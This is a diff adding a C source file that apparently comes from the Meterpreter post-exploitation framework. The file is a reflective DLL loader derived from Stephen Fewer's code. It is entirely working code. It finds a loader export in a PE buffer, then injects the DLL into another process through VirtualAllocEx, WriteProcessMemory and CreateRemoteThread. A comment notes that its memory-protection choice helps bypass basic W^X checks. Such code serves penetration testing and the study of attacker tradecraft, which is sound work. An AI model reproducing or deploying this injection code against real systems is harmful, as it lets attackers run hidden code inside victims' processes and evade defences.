|
| 1 | +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) |
| 2 | +// All rights reserved. |
| 3 | +// |
| 4 | +// Redistribution and use in source and binary forms, with or without modification, are permitted |
| 5 | +// provided that the following conditions are met: |
| 6 | +// |
| 7 | +// * Redistributions of source code must retain the above copyright notice, this list of |
| 8 | +// conditions and the following disclaimer. |
| 9 | +// |
| 10 | +// * Redistributions in binary form must reproduce the above copyright notice, this list of |
| 11 | +// conditions and the following disclaimer in the documentation and/or other materials provided |
| 12 | +// with the distribution. |
| 13 | +// |
| 14 | +// * Neither the name of Harmony Security nor the names of its contributors may be used to |
| 15 | +// endorse or promote products derived from this software without specific prior written permission. |
| 16 | +// |
| 17 | +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR |
| 18 | +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND |
| 19 | +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR |
| 20 | +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR |
| 21 | +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR |
| 22 | +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY |
| 23 | +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR |
| 24 | +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE |
| 25 | +// POSSIBILITY OF SUCH DAMAGE. |
| 26 | +//===============================================================================================// |
| 27 | +#include "common.h" |
| 28 | +#include "common_metapi.h" |
| 29 | +#include "load_library_r.h" |
| 30 | + |
| 31 | +static DWORD Rva2Offset(DWORD dwRva, PIMAGE_NT_HEADERS pNtHeaders) |
| 32 | +{ |
| 33 | + PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); |
| 34 | + |
| 35 | + // Iterate through the PE sections to find which one contains the RVA. |
| 36 | + for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) |
| 37 | + { |
| 38 | + // Check if the RVA is within the current section's virtual address space. |
| 39 | + // We use VirtualSize for the upper bound, as this is the true size of the |
| 40 | + // section in memory. SizeOfRawData is its size on disk, which can be smaller, |
| 41 | + // and using it can lead to failing to find RVAs on some platforms (e.g., ARM64). |
| 42 | + if (dwRva >= pSectionHeader->VirtualAddress && dwRva < (pSectionHeader->VirtualAddress + pSectionHeader->Misc.VirtualSize)) |
| 43 | + { |
| 44 | + // The file offset is calculated by taking the RVA, subtracting the section's |
| 45 | + // base virtual address, and adding the section's file offset (PointerToRawData). |
| 46 | + return (dwRva - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData); |
| 47 | + } |
| 48 | + } |
| 49 | + |
| 50 | + // If the RVA was not found in any section, it must be within the PE header itself. |
| 51 | + // In this case, the RVA is the same as the file offset. |
| 52 | + if (dwRva < pNtHeaders->OptionalHeader.SizeOfHeaders) |
| 53 | + { |
| 54 | + return dwRva; |
| 55 | + } |
| 56 | + |
| 57 | + return 0; |
| 58 | +} |
| 59 | + |
| 60 | +DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer, LPCSTR cpReflectiveLoaderName) |
| 61 | +{ |
| 62 | + UINT_PTR uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; |
| 63 | + PIMAGE_DOS_HEADER pDosHeader = NULL; |
| 64 | + PIMAGE_NT_HEADERS pNtHeaders = NULL; |
| 65 | + |
| 66 | + // Validate the PE headers. |
| 67 | + pDosHeader = (PIMAGE_DOS_HEADER)uiBaseAddress; |
| 68 | + if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) |
| 69 | + return 0; |
| 70 | + |
| 71 | + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + pDosHeader->e_lfanew); |
| 72 | + if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) |
| 73 | + return 0; |
| 74 | + |
| 75 | + // Get the export directory RVA. |
| 76 | + PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; |
| 77 | + if (pDataDirectory->VirtualAddress == 0) |
| 78 | + return 0; |
| 79 | + |
| 80 | + // Convert the RVA to a file offset to get the export directory structure. |
| 81 | + DWORD dwExportDirOffset = Rva2Offset(pDataDirectory->VirtualAddress, pNtHeaders); |
| 82 | + if (dwExportDirOffset == 0) |
| 83 | + return 0; |
| 84 | + |
| 85 | + PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiBaseAddress + dwExportDirOffset); |
| 86 | + |
| 87 | + // Get pointers to the three critical arrays within the EAT, using file offsets. |
| 88 | + PDWORD pdwAddressArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfFunctions, pNtHeaders)); |
| 89 | + PDWORD pdwNameArray = (PDWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNames, pNtHeaders)); |
| 90 | + PWORD pwNameOrdinals = (PWORD)(uiBaseAddress + Rva2Offset(pExportDirectory->AddressOfNameOrdinals, pNtHeaders)); |
| 91 | + |
| 92 | + // Search for the loader function by name or by ordinal. |
| 93 | + if (((DWORD_PTR)cpReflectiveLoaderName >> 16) == 0) |
| 94 | + { |
| 95 | + // By ordinal |
| 96 | + WORD wOrdinal = LOWORD((DWORD_PTR)cpReflectiveLoaderName); |
| 97 | + DWORD dwOrdinalBase = pExportDirectory->Base; |
| 98 | + |
| 99 | + if (wOrdinal < dwOrdinalBase || wOrdinal >= dwOrdinalBase + pExportDirectory->NumberOfFunctions) |
| 100 | + return 0; |
| 101 | + |
| 102 | + DWORD dwFunctionRva = pdwAddressArray[wOrdinal - dwOrdinalBase]; |
| 103 | + return Rva2Offset(dwFunctionRva, pNtHeaders); |
| 104 | + } |
| 105 | + else |
| 106 | + { |
| 107 | + // By name |
| 108 | + for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) |
| 109 | + { |
| 110 | + LPCSTR cpExportedFunctionName = (LPCSTR)(uiBaseAddress + Rva2Offset(pdwNameArray[i], pNtHeaders)); |
| 111 | + |
| 112 | + // Use strcmp for a precise match. |
| 113 | + if (strcmp(cpExportedFunctionName, cpReflectiveLoaderName) == 0) |
| 114 | + { |
| 115 | + WORD wFunctionOrdinal = pwNameOrdinals[i]; |
| 116 | + DWORD dwFunctionRva = pdwAddressArray[wFunctionOrdinal]; |
| 117 | + return Rva2Offset(dwFunctionRva, pNtHeaders); |
| 118 | + } |
| 119 | + } |
| 120 | + } |
| 121 | + |
| 122 | + return 0; |
| 123 | +} |
| 124 | + |
| 125 | +HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName) |
| 126 | +{ |
| 127 | + HMODULE hResult = NULL; |
| 128 | + DWORD dwReflectiveLoaderOffset; |
| 129 | + REFLECTIVELOADER pReflectiveLoader; |
| 130 | + DLLMAIN pDllMain; |
| 131 | + DWORD dwOldProtect; |
| 132 | + |
| 133 | + if (lpBuffer == NULL || dwLength == 0) |
| 134 | + return NULL; |
| 135 | + |
| 136 | + // Find the file offset of the reflective loader function. |
| 137 | + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName); |
| 138 | + if (dwReflectiveLoaderOffset == 0) |
| 139 | + return NULL; |
| 140 | + |
| 141 | + pReflectiveLoader = (ULONG_PTR)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); |
| 142 | + |
| 143 | + // Make the buffer executable so we can call the loader. |
| 144 | + if (!met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect)) |
| 145 | + return NULL; |
| 146 | + |
| 147 | + // Call the loader, which performs the mapping and returns a pointer to the new DllMain. |
| 148 | + pDllMain = (DLLMAIN)pReflectiveLoader(); |
| 149 | + if (pDllMain == NULL) |
| 150 | + { |
| 151 | + met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect); |
| 152 | + return NULL; |
| 153 | + } |
| 154 | + |
| 155 | + // Query the newly loaded DllMain for its module handle. |
| 156 | + if (!pDllMain(NULL, DLL_QUERY_HMODULE, &hResult)) |
| 157 | + hResult = NULL; |
| 158 | + |
| 159 | + // Revert the original buffer's memory protection. |
| 160 | + met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect); |
| 161 | + |
| 162 | + return hResult; |
| 163 | +} |
| 164 | + |
| 165 | +HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter) |
| 166 | +{ |
| 167 | + LPVOID lpRemoteLibraryBuffer = NULL; |
| 168 | + HANDLE hThread = NULL; |
| 169 | + DWORD dwResult = ERROR_SUCCESS; |
| 170 | + do { |
| 171 | + if (!hProcess || !lpBuffer || !dwLength) |
| 172 | + return NULL; |
| 173 | + // Find the loader's offset within the file buffer. |
| 174 | + DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName); |
| 175 | + if(dwActualReflectiveLoaderOffset != 0) { |
| 176 | + dprintf("[LOADREMOTE] Using effective reflective loader offset: %lu\n", dwActualReflectiveLoaderOffset); |
| 177 | + dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset; |
| 178 | + } |
| 179 | + |
| 180 | + if (dwReflectiveLoaderOffset == 0) { |
| 181 | + BREAK_WITH_ERROR("[LOADREMOTE] Failed to find reflective loader offset", ERROR_INVALID_DATA); |
| 182 | + } |
| 183 | + |
| 184 | + // Allocate memory in the remote process for the DLL. |
| 185 | + lpRemoteLibraryBuffer = met_api->win_api.kernel32.VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); |
| 186 | + if (!lpRemoteLibraryBuffer) { |
| 187 | + BREAK_WITH_ERROR("[LOADREMOTE] Failed to allocate memory in remote process", ERROR_OUTOFMEMORY); |
| 188 | + } |
| 189 | + |
| 190 | + // Write the entire DLL buffer into the allocated remote memory. |
| 191 | + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)) |
| 192 | + { |
| 193 | + BREAK_WITH_ERROR("[LOADREMOTE] Failed to write library into remote process memory", ERROR_WRITE_FAULT); |
| 194 | + } |
| 195 | + |
| 196 | + // Set initial memory permissions to Execute+Read. The loader will later set final |
| 197 | + // permissions on each section, but this helps bypass some basic W^X checks. |
| 198 | + DWORD dwOldProt; |
| 199 | + if (!met_api->win_api.kernel32.VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, &dwOldProt)) |
| 200 | + { |
| 201 | + BREAK_WITH_ERROR("[LOADREMOTE] Failed to set memory protection in remote process", ERROR_INVALID_PARAMETER); |
| 202 | + } |
| 203 | + |
| 204 | + // Calculate the absolute address of the reflective loader in the remote process. |
| 205 | + LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); |
| 206 | + |
| 207 | + // Create a remote thread to execute the loader. |
| 208 | + hThread = met_api->win_api.kernel32.CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, 0, NULL); |
| 209 | + if (!hThread) |
| 210 | + { |
| 211 | + BREAK_WITH_ERROR("[LOADREMOTE] Failed to create remote thread", ERROR_INVALID_PARAMETER); |
| 212 | + } |
| 213 | + } while (FALSE); |
| 214 | + |
| 215 | + if(dwResult != ERROR_SUCCESS) |
| 216 | + { |
| 217 | + if (lpRemoteLibraryBuffer) |
| 218 | + { |
| 219 | + met_api->win_api.kernel32.VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE); |
| 220 | + } |
| 221 | + return NULL; |
| 222 | + } |
| 223 | + return hThread; |
| 224 | +} |
0 commit comments